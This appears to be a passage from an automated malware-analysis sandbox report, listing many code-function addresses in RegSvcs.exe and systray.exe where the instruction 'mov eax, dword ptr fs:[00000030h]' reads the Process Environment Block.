Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0134740D mov eax, dword ptr fs:[00000030h]	4_2_0134740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0134740D mov eax, dword ptr fs:[00000030h]	4_2_0134740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129746D mov eax, dword ptr fs:[00000030h]	4_2_0129746D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0130C450 mov eax, dword ptr fs:[00000030h]	4_2_0130C450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0130C450 mov eax, dword ptr fs:[00000030h]	4_2_0130C450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AA44B mov eax, dword ptr fs:[00000030h]	4_2_012AA44B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128849B mov eax, dword ptr fs:[00000030h]	4_2_0128849B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013314FB mov eax, dword ptr fs:[00000030h]	4_2_013314FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6CF0 mov eax, dword ptr fs:[00000030h]	4_2_012F6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6CF0 mov eax, dword ptr fs:[00000030h]	4_2_012F6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6CF0 mov eax, dword ptr fs:[00000030h]	4_2_012F6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01348CD6 mov eax, dword ptr fs:[00000030h]	4_2_01348CD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01274F2E mov eax, dword ptr fs:[00000030h]	4_2_01274F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01274F2E mov eax, dword ptr fs:[00000030h]	4_2_01274F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129B73D mov eax, dword ptr fs:[00000030h]	4_2_0129B73D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129B73D mov eax, dword ptr fs:[00000030h]	4_2_0129B73D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AE730 mov eax, dword ptr fs:[00000030h]	4_2_012AE730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0130FF10 mov eax, dword ptr fs:[00000030h]	4_2_0130FF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0130FF10 mov eax, dword ptr fs:[00000030h]	4_2_0130FF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AA70E mov eax, dword ptr fs:[00000030h]	4_2_012AA70E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AA70E mov eax, dword ptr fs:[00000030h]	4_2_012AA70E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0134070D mov eax, dword ptr fs:[00000030h]	4_2_0134070D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0134070D mov eax, dword ptr fs:[00000030h]	4_2_0134070D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129F716 mov eax, dword ptr fs:[00000030h]	4_2_0129F716
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128FF60 mov eax, dword ptr fs:[00000030h]	4_2_0128FF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01348F6A mov eax, dword ptr fs:[00000030h]	4_2_01348F6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128EF40 mov eax, dword ptr fs:[00000030h]	4_2_0128EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F7794 mov eax, dword ptr fs:[00000030h]	4_2_012F7794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F7794 mov eax, dword ptr fs:[00000030h]	4_2_012F7794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F7794 mov eax, dword ptr fs:[00000030h]	4_2_012F7794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01288794 mov eax, dword ptr fs:[00000030h]	4_2_01288794
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B37F5 mov eax, dword ptr fs:[00000030h]	4_2_012B37F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127E620 mov eax, dword ptr fs:[00000030h]	4_2_0127E620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0132FE3F mov eax, dword ptr fs:[00000030h]	4_2_0132FE3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127C600 mov eax, dword ptr fs:[00000030h]	4_2_0127C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127C600 mov eax, dword ptr fs:[00000030h]	4_2_0127C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127C600 mov eax, dword ptr fs:[00000030h]	4_2_0127C600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A8E00 mov eax, dword ptr fs:[00000030h]	4_2_012A8E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AA61C mov eax, dword ptr fs:[00000030h]	4_2_012AA61C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AA61C mov eax, dword ptr fs:[00000030h]	4_2_012AA61C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331608 mov eax, dword ptr fs:[00000030h]	4_2_01331608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128766D mov eax, dword ptr fs:[00000030h]	4_2_0128766D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129AE73 mov eax, dword ptr fs:[00000030h]	4_2_0129AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129AE73 mov eax, dword ptr fs:[00000030h]	4_2_0129AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129AE73 mov eax, dword ptr fs:[00000030h]	4_2_0129AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129AE73 mov eax, dword ptr fs:[00000030h]	4_2_0129AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129AE73 mov eax, dword ptr fs:[00000030h]	4_2_0129AE73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01287E41 mov eax, dword ptr fs:[00000030h]	4_2_01287E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01287E41 mov eax, dword ptr fs:[00000030h]	4_2_01287E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01287E41 mov eax, dword ptr fs:[00000030h]	4_2_01287E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01287E41 mov eax, dword ptr fs:[00000030h]	4_2_01287E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01287E41 mov eax, dword ptr fs:[00000030h]	4_2_01287E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01287E41 mov eax, dword ptr fs:[00000030h]	4_2_01287E41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133AE44 mov eax, dword ptr fs:[00000030h]	4_2_0133AE44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133AE44 mov eax, dword ptr fs:[00000030h]	4_2_0133AE44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F46A7 mov eax, dword ptr fs:[00000030h]	4_2_012F46A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01340EA5 mov eax, dword ptr fs:[00000030h]	4_2_01340EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01340EA5 mov eax, dword ptr fs:[00000030h]	4_2_01340EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01340EA5 mov eax, dword ptr fs:[00000030h]	4_2_01340EA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0130FE87 mov eax, dword ptr fs:[00000030h]	4_2_0130FE87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A16E0 mov ecx, dword ptr fs:[00000030h]	4_2_012A16E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012876E2 mov eax, dword ptr fs:[00000030h]	4_2_012876E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01348ED6 mov eax, dword ptr fs:[00000030h]	4_2_01348ED6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A36CC mov eax, dword ptr fs:[00000030h]	4_2_012A36CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B8EC7 mov eax, dword ptr fs:[00000030h]	4_2_012B8EC7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0132FEC0 mov eax, dword ptr fs:[00000030h]	4_2_0132FEC0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6CF0 mov eax, dword ptr fs:[00000030h]	16_2_04FE6CF0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6CF0 mov eax, dword ptr fs:[00000030h]	16_2_04FE6CF0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6CF0 mov eax, dword ptr fs:[00000030h]	16_2_04FE6CF0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05038D34 mov eax, dword ptr fs:[00000030h]	16_2_05038D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0502E539 mov eax, dword ptr fs:[00000030h]	16_2_0502E539
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05013D40 mov eax, dword ptr fs:[00000030h]	16_2_05013D40
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F7849B mov eax, dword ptr fs:[00000030h]	16_2_04F7849B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05022D82 mov eax, dword ptr fs:[00000030h]	16_2_05022D82
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05022D82 mov eax, dword ptr fs:[00000030h]	16_2_05022D82
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05022D82 mov eax, dword ptr fs:[00000030h]	16_2_05022D82
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05022D82 mov eax, dword ptr fs:[00000030h]	16_2_05022D82
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05022D82 mov eax, dword ptr fs:[00000030h]	16_2_05022D82
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05022D82 mov eax, dword ptr fs:[00000030h]	16_2_05022D82
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05022D82 mov eax, dword ptr fs:[00000030h]	16_2_05022D82
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9AC7B mov eax, dword ptr fs:[00000030h]	16_2_04F9AC7B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9AC7B mov eax, dword ptr fs:[00000030h]	16_2_04F9AC7B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9AC7B mov eax, dword ptr fs:[00000030h]	16_2_04F9AC7B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9AC7B mov eax, dword ptr fs:[00000030h]	16_2_04F9AC7B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9AC7B mov eax, dword ptr fs:[00000030h]	16_2_04F9AC7B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9AC7B mov eax, dword ptr fs:[00000030h]	16_2_04F9AC7B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9AC7B mov eax, dword ptr fs:[00000030h]	16_2_04F9AC7B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9AC7B mov eax, dword ptr fs:[00000030h]	16_2_04F9AC7B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9AC7B mov eax, dword ptr fs:[00000030h]	16_2_04F9AC7B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9AC7B mov eax, dword ptr fs:[00000030h]	16_2_04F9AC7B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9AC7B mov eax, dword ptr fs:[00000030h]	16_2_04F9AC7B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477 mov eax, dword ptr fs:[00000030h]	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477 mov eax, dword ptr fs:[00000030h]	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477 mov eax, dword ptr fs:[00000030h]	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477 mov eax, dword ptr fs:[00000030h]	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477 mov eax, dword ptr fs:[00000030h]	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477 mov eax, dword ptr fs:[00000030h]	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477 mov eax, dword ptr fs:[00000030h]	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477 mov eax, dword ptr fs:[00000030h]	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477 mov eax, dword ptr fs:[00000030h]	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477 mov eax, dword ptr fs:[00000030h]	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477 mov eax, dword ptr fs:[00000030h]	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477 mov eax, dword ptr fs:[00000030h]	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8746D mov eax, dword ptr fs:[00000030h]	16_2_04F8746D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FFC450 mov eax, dword ptr fs:[00000030h]	16_2_04FFC450
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FFC450 mov eax, dword ptr fs:[00000030h]	16_2_04FFC450
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_050305AC mov eax, dword ptr fs:[00000030h]	16_2_050305AC
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_050305AC mov eax, dword ptr fs:[00000030h]	16_2_050305AC
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9A44B mov eax, dword ptr fs:[00000030h]	16_2_04F9A44B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9BC2C mov eax, dword ptr fs:[00000030h]	16_2_04F9BC2C
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0502FDE2 mov eax, dword ptr fs:[00000030h]	16_2_0502FDE2
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0502FDE2 mov eax, dword ptr fs:[00000030h]	16_2_0502FDE2
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0502FDE2 mov eax, dword ptr fs:[00000030h]	16_2_0502FDE2
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0502FDE2 mov eax, dword ptr fs:[00000030h]	16_2_0502FDE2
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05018DF1 mov eax, dword ptr fs:[00000030h]	16_2_05018DF1
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6C0A mov eax, dword ptr fs:[00000030h]	16_2_04FE6C0A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6C0A mov eax, dword ptr fs:[00000030h]	16_2_04FE6C0A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6C0A mov eax, dword ptr fs:[00000030h]	16_2_04FE6C0A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6C0A mov eax, dword ptr fs:[00000030h]	16_2_04FE6C0A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021C06 mov eax, dword ptr fs:[00000030h]	16_2_05021C06
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0503740D mov eax, dword ptr fs:[00000030h]	16_2_0503740D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0503740D mov eax, dword ptr fs:[00000030h]	16_2_0503740D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0503740D mov eax, dword ptr fs:[00000030h]	16_2_0503740D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F7D5E0 mov eax, dword ptr fs:[00000030h]	16_2_04F7D5E0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F7D5E0 mov eax, dword ptr fs:[00000030h]	16_2_04F7D5E0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6DC9 mov eax, dword ptr fs:[00000030h]	16_2_04FE6DC9
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6DC9 mov eax, dword ptr fs:[00000030h]	16_2_04FE6DC9
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6DC9 mov eax, dword ptr fs:[00000030h]	16_2_04FE6DC9
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6DC9 mov ecx, dword ptr fs:[00000030h]	16_2_04FE6DC9
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6DC9 mov eax, dword ptr fs:[00000030h]	16_2_04FE6DC9
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE6DC9 mov eax, dword ptr fs:[00000030h]	16_2_04FE6DC9
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F91DB5 mov eax, dword ptr fs:[00000030h]	16_2_04F91DB5
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F91DB5 mov eax, dword ptr fs:[00000030h]	16_2_04F91DB5
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F91DB5 mov eax, dword ptr fs:[00000030h]	16_2_04F91DB5
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F935A1 mov eax, dword ptr fs:[00000030h]	16_2_04F935A1
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9FD9B mov eax, dword ptr fs:[00000030h]	16_2_04F9FD9B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9FD9B mov eax, dword ptr fs:[00000030h]	16_2_04F9FD9B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F92581 mov eax, dword ptr fs:[00000030h]	16_2_04F92581
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F92581 mov eax, dword ptr fs:[00000030h]	16_2_04F92581
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F92581 mov eax, dword ptr fs:[00000030h]	16_2_04F92581
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F92581 mov eax, dword ptr fs:[00000030h]	16_2_04F92581
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F62D8A mov eax, dword ptr fs:[00000030h]	16_2_04F62D8A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F62D8A mov eax, dword ptr fs:[00000030h]	16_2_04F62D8A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F62D8A mov eax, dword ptr fs:[00000030h]	16_2_04F62D8A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F62D8A mov eax, dword ptr fs:[00000030h]	16_2_04F62D8A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F62D8A mov eax, dword ptr fs:[00000030h]	16_2_04F62D8A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8C577 mov eax, dword ptr fs:[00000030h]	16_2_04F8C577
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8C577 mov eax, dword ptr fs:[00000030h]	16_2_04F8C577
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496 mov eax, dword ptr fs:[00000030h]	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F87D50 mov eax, dword ptr fs:[00000030h]	16_2_04F87D50
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA3D43 mov eax, dword ptr fs:[00000030h]	16_2_04FA3D43
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE3540 mov eax, dword ptr fs:[00000030h]	16_2_04FE3540
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F94D3B mov eax, dword ptr fs:[00000030h]	16_2_04F94D3B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F94D3B mov eax, dword ptr fs:[00000030h]	16_2_04F94D3B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F94D3B mov eax, dword ptr fs:[00000030h]	16_2_04F94D3B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F73D34 mov eax, dword ptr fs:[00000030h]	16_2_04F73D34
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F6AD30 mov eax, dword ptr fs:[00000030h]	16_2_04F6AD30
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FEA537 mov eax, dword ptr fs:[00000030h]	16_2_04FEA537
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05038CD6 mov eax, dword ptr fs:[00000030h]	16_2_05038CD6
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_050214FB mov eax, dword ptr fs:[00000030h]	16_2_050214FB
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0503070D mov eax, dword ptr fs:[00000030h]	16_2_0503070D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0503070D mov eax, dword ptr fs:[00000030h]	16_2_0503070D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F776E2 mov eax, dword ptr fs:[00000030h]	16_2_04F776E2
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F916E0 mov ecx, dword ptr fs:[00000030h]	16_2_04F916E0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F936CC mov eax, dword ptr fs:[00000030h]	16_2_04F936CC
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA8EC7 mov eax, dword ptr fs:[00000030h]	16_2_04FA8EC7
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FE46A7 mov eax, dword ptr fs:[00000030h]	16_2_04FE46A7
